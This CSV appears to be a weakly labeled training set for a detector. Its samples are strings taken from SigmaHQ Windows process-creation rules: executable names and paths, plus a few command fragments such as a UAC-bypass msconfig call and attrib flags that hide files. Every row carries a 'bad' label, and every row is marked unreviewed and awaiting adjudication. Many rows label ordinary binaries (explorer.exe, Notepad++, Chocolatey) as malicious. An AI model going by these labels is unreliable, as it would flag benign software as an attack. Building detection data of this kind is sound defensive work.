sample_id,text,normalized_text,label,surface_label,obfuscation_label,risk_class,label_source,source_family,source_repo,source_path,source_title,category,attack_tags,platform,confidence,needs_adjudication,notes,training_role,adjudication_reason,keep_for_training,adjudication_model,created_at,dataset_role,promotion_status
830017ee9dbddcfb51f1cf8b,rundll32,rundll32,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml,Rundll32 Execution Without Parameters,process_creation,"[""attack.lateral-movement"", ""attack.t1021.002"", ""attack.t1570"", ""attack.execution"", ""attack.t1569.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6e8fa681cd764b436af41bf,rundll32.exe,rundll32.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml,Rundll32 Execution Without Parameters,process_creation,"[""attack.lateral-movement"", ""attack.t1021.002"", ""attack.t1570"", ""attack.execution"", ""attack.t1569.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49b16c0ecdea38296ae5d504,C:\Windows\System32\lxss\wslhost.exe,C:\Windows\System32\lxss\wslhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_mstsc_remote_connection.yml,New Remote Desktop Connection Initiated Via Mstsc.EXE,process_creation,"[""attack.lateral-movement"", ""attack.t1021.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d83e0e22b69b41d6a90fda07,PowerShell.exe,PowerShell.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_userinit_uncommon_child_processes.yml,Uncommon Userinit Child Process,process_creation,"[""attack.privilege-escalation"", ""attack.t1037.001"", ""attack.persistence""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05b40bce02d4984149b40ea0,megasync.exe,megasync.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_megasync.yml,Renamed MegaSync Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ff2af015b390ce050d0dd3f,C:\Program Files (x86)\Dell\UpdateService\ServiceShell.exe,C:\Program Files (x86)\Dell\UpdateService\ServiceShell.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml,Potentially Suspicious Cabinet File Expansion,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05910c7b330d284d20860025,C:\PROGRA~1\WinZip\WZPREL~1.EXE,C:\PROGRA~1\WinZip\WZPREL~1.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_image.yml,Use NTFS Short Name in Image,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c08c017a72430ca328a7b3e9,C:\Windows\explorer.exe,C:\Windows\explorer.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_image.yml,Use NTFS Short Name in Image,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
32a5ff662cbf001b67efc8db,BOINC.exe,BOINC.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_boinc.yml,Renamed BOINC Client Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1553""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
455b42a676b51552d90702cc,C:\Windows\System32\Dism.exe,C:\Windows\System32\Dism.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml,Use Short Name Path in Image,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4fbd946f39431655ba9a6655,C:\Windows\System32\cleanmgr.exe,C:\Windows\System32\cleanmgr.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml,Use Short Name Path in Image,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc7397b296c5974f0579d238,msteams.exe,msteams.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_msteams.yml,Renamed Microsoft Teams Execution,process_creation,"[""attack.defense-evasion""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fa5be5b3f785b9dbd3c7ea21,teams.exe,teams.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_msteams.yml,Renamed Microsoft Teams Execution,process_creation,"[""attack.defense-evasion""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fadb7fd4d7386226d765d65c,whoami.exe,whoami.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_whoami.yml,Renamed Whoami Execution,process_creation,"[""attack.discovery"", ""attack.t1033"", ""car.2016-03-001""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
881f150e04b92fe568c9f36f,gpg.exe,gpg.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_gpg4win.yml,Renamed Gpg.EXE Execution,process_creation,"[""attack.impact"", ""attack.t1486""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
32938d55e5e02ab0f1cf3862,C:\Windows\System32\odbcconf.exe,C:\Windows\System32\odbcconf.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml,Suspicious Response File Execution Via Odbcconf.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1218.008""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
861c41b10c0585717e8931a5,C:\Windows\System32\runonce.exe,C:\Windows\System32\runonce.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml,Suspicious Response File Execution Via Odbcconf.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1218.008""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c58322419c89a0b32033dd0b,C:\Windows\SysWOW64\msiexec.exe,C:\Windows\SysWOW64\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml,Change PowerShell Policies to an Insecure Level,process_creation,"[""attack.execution"", ""attack.t1059.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b72c465831073ebb7878dff,C:\Windows\System32\msiexec.exe,C:\Windows\System32\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml,Change PowerShell Policies to an Insecure Level,process_creation,"[""attack.execution"", ""attack.t1059.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
08c4cc803a02fac583279288,C:\Windows\SysWOW64\WerFault.exe,C:\Windows\SysWOW64\WerFault.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_sigverif_uncommon_child_process.yml,Uncommon Sigverif.EXE Child Process,process_creation,"[""attack.defense-evasion"", ""attack.t1216""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac7f05d666c4941339ec04ce,C:\Windows\System32\WerFault.exe,C:\Windows\System32\WerFault.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_sigverif_uncommon_child_process.yml,Uncommon Sigverif.EXE Child Process,process_creation,"[""attack.defense-evasion"", ""attack.t1216""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
201067353da28b033875c478,C:\Windows\System32\services.exe,C:\Windows\System32\services.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml,Execution of Suspicious File Type Extension,process_creation,"[""attack.defense-evasion""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a8781f8a56ad868661f2a6a,C:\Windows\explorer.exe,C:\Windows\explorer.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_customshellhost_susp_exec.yml,Suspicious CustomShellHost Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1216""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44f571c84d10fc8636662780,Cmd.EXE,Cmd.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml,Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d92ac03a3f0f6530553dbb6,PowerShell.EXE,PowerShell.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml,Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec73c40213968882527f4749,PowerShell_ISE.EXE,PowerShell_ISE.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml,Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d92a4466557bef7c71344cb,cscript.exe,cscript.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml,Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
355c7f13ff65035d66170a82,pwsh.dll,pwsh.dll,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml,Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2023aca96e62738a97d62a8,wscript.exe,wscript.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode_img.yml,Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3d94512ace1da58c94f07e1,csi.exe,csi.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csi_use_of_csharp_console.yml,Suspicious Use of CSharp Interactive Console,process_creation,"[""attack.execution"", ""attack.defense-evasion"", ""attack.t1127""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c1bb29500422e81264e6da3,"cmd.exe /c ""ver""","cmd.exe /c ""ver""",bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_arcsoc_susp_child_process.yml,Suspicious ArcSOC.exe Child Process,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.t1203""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6117190419a43fb8195e2a93,C:\Windows\System32\wpbbin.exe,C:\Windows\System32\wpbbin.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_wpbbin_potential_persistence.yml,UEFI Persistence Via Wpbbin - ProcessCreation,process_creation,"[""attack.persistence"", ""attack.defense-evasion"", ""attack.t1542.001""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94c4433189ff05e08f6670c8,C:\Program Files (x86)\ManageEngine\uems_agent\bin\dcfaservice64.exe,C:\Program Files (x86)\ManageEngine\uems_agent\bin\dcfaservice64.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_fltmc_unload_driver.yml,Filter Driver Unloaded Via Fltmc.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1070"", ""attack.t1562"", ""attack.t1562.002""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4212120ebaf14f028fa4a587,C:\Windows\PSEXESVC.exe,C:\Windows\PSEXESVC.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_sysinternals_psexec_service.yml,Renamed PsExec Service Execution,process_creation,"[""attack.execution""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dac47c84954723ee63cd2595,psexesvc.exe,psexesvc.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_sysinternals_psexec_service.yml,Renamed PsExec Service Execution,process_creation,"[""attack.execution""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f9cfed575b2385ab3633ff5e,C:\Windows\System32\conhost.exe,C:\Windows\System32\conhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml,WMI Backdoor Exchange Transport Agent,process_creation,"[""attack.privilege-escalation"", ""attack.persistence"", ""attack.t1546.003""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a5301ab938e555a9a70c876,C:\Hexnode\Hexnode Agent\Current\HexnodeAgent.exe,C:\Hexnode\Hexnode Agent\Current\HexnodeAgent.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_sc_sdset_allow_service_changes.yml,Allow Service Access Using Security Descriptor Tampering Via Sc.EXE,process_creation,"[""attack.privilege-escalation"", ""attack.persistence"", ""attack.t1543.003""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e9e0c039827544ece3622c2,C:\Windows\System32\inetsrv\iissetup.exe,C:\Windows\System32\inetsrv\iissetup.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml,IIS Native-Code Module Command Line Installation,process_creation,"[""attack.persistence"", ""attack.t1505.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
55fae4ea631490f54e935225,"""C:\Windows\system32\msconfig.exe"" -5","""C:\Windows\system32\msconfig.exe"" -5",bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml,UAC Bypass Using MSConfig Token Modification - Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ebd4a8c5c282c80a75624de,C:\Windows\System32\cmd.exe,C:\Windows\System32\cmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_embed_exe_lnk.yml,Hidden Powershell in Link File Pattern,process_creation,"[""attack.execution"", ""attack.t1059.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
97c31c97c77b2ea2b903afb3,C:\Windows\explorer.exe,C:\Windows\explorer.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_embed_exe_lnk.yml,Hidden Powershell in Link File Pattern,process_creation,"[""attack.execution"", ""attack.t1059.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58ae67d87fcb20127227a954,C:\Windows\CCM\Ccm32BitLauncher.exe,C:\Windows\CCM\Ccm32BitLauncher.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml,Msiexec Quiet Installation,process_creation,"[""attack.defense-evasion"", ""attack.t1218.007""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c731e4927c63c2c7d32d6035,C:\ProgramData\chocolatey\choco.exe,C:\ProgramData\chocolatey\choco.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml,Csc.EXE Execution Form Potentially Suspicious Parent,process_creation,"[""attack.execution"", ""attack.t1059.005"", ""attack.t1059.007"", ""attack.defense-evasion"", ""attack.t1218.005"", ""attack.t1027.004""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
08fe8bfd33b39f9bbacd67a8,C:\Windows\System32\inetsrv\w3wp.exe,C:\Windows\System32\inetsrv\w3wp.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml,Csc.EXE Execution Form Potentially Suspicious Parent,process_creation,"[""attack.execution"", ""attack.t1059.005"", ""attack.t1059.007"", ""attack.defense-evasion"", ""attack.t1218.005"", ""attack.t1027.004""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71347d41252074787414b501,C:\Windows\System32\sdiagnhost.exe,C:\Windows\System32\sdiagnhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml,Csc.EXE Execution Form Potentially Suspicious Parent,process_creation,"[""attack.execution"", ""attack.t1059.005"", ""attack.t1059.007"", ""attack.defense-evasion"", ""attack.t1218.005"", ""attack.t1027.004""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
005be97dfccffa648228b510,C:\Windows\PSEXESVC.exe,C:\Windows\PSEXESVC.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system.yml,PsExec Service Child Process Execution as LOCAL SYSTEM,process_creation,"[""attack.execution""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9dabf256096bdba111d2e76a,schtasks.exe,schtasks.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_schtasks_execution.yml,Renamed Schtasks Execution,process_creation,"[""attack.defense-evasion"", ""attack.execution"", ""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1036.003"", ""attack.t1053.005""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7011ec6965073d92b1813ae,PowerShell.EXE,PowerShell.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_decrypt_pattern.yml,PowerShell Execution With Potential Decryption Capabilities,process_creation,"[""attack.execution""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0fb0734878c66dd14aebecf,pwsh.dll,pwsh.dll,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_decrypt_pattern.yml,PowerShell Execution With Potential Decryption Capabilities,process_creation,"[""attack.execution""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7b8b6bde3ec7d696626847b2,C:\Windows\System32\control.exe,C:\Windows\System32\control.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_workfolders.yml,Execution via WorkFolders.exe,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87d4217c1be3424b2f8bdaff,C:\Program Files (x86)\Notepad++\notepad++.exe,C:\Program Files (x86)\Notepad++\notepad++.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_dotnet_arbitrary_dll_csproj_execution.yml,Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
38960aa51952f54478f30fd4,C:\Program Files\Notepad++\notepad++.exe,C:\Program Files\Notepad++\notepad++.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_dotnet_arbitrary_dll_csproj_execution.yml,Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2602ffd7377355d606abe245,C:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc,C:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml,Gpscript Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c5bdc4b4076bebb85164ddfe,ftp.exe,ftp.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_ftp.yml,Renamed FTP.EXE Execution,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.defense-evasion"", ""attack.t1202""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58da6fcf36428f1d853b5dcf,C:\Windows\System32\wbem\WmiPrvSE.exe,C:\Windows\System32\wbem\WmiPrvSE.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml,Potential Suspicious Mofcomp Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87a78124dffcca69441dbcbc,vmnat.exe,vmnat.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml,Renamed Vmnat.exe Execution,process_creation,"[""attack.privilege-escalation"", ""attack.persistence"", ""attack.defense-evasion"", ""attack.t1574.001""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c6bd5656787e0c02e9c776b9,bash.exe,bash.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_bash_file_execution.yml,Indirect Command Execution From Script File Via Bash.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1202""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4248ca97dae7a6acf178251f,Microsoft.NodejsTools.PressAnyKey.exe,Microsoft.NodejsTools.PressAnyKey.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml,Visual Studio NodejsTools PressAnyKey Renamed Execution,process_creation,"[""attack.execution"", ""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43d346f49a88fff0cbab778e,C:\Windows\System32\lxss\wslhost.exe,C:\Windows\System32\lxss\wslhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file.yml,Mstsc.EXE Execution With Local RDP File,process_creation,"[""attack.command-and-control"", ""attack.t1219.002""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac13583f3f7deab3e3214daa,msdt.exe,msdt.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_msdt.yml,Renamed Msdt.EXE Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc6259d67399cc6e56f1c448,+R +H +S +A \\\*.cui,+R +H +S +A \\\*.cui,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml,Hiding Files with Attrib.exe,process_creation,"[""attack.defense-evasion"", ""attack.t1564.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
